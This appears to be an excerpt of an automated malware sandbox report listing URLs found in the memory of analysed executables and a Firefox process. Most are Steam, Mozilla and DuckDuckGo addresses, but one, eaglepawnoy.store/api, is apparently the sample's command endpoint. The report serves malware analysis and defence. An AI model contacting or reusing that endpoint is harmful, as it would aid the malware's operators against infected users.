Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.a
Source: 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DN
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/share
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.cz
Source: firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.3096434663.000002550931C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3107641537.000002550977F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3138012152.000002551012A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001B.00000002.3168103767.00001A2672204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A07D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2977836511.0000025509AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.00000255104B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3172045873.00003F575EB04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.0000025509303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2939259406.00000255103A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001B.00000003.2960052954.0000025509663000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2966789542.00000255096DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.3086511909.0000025508770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3115820406.000002550A495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
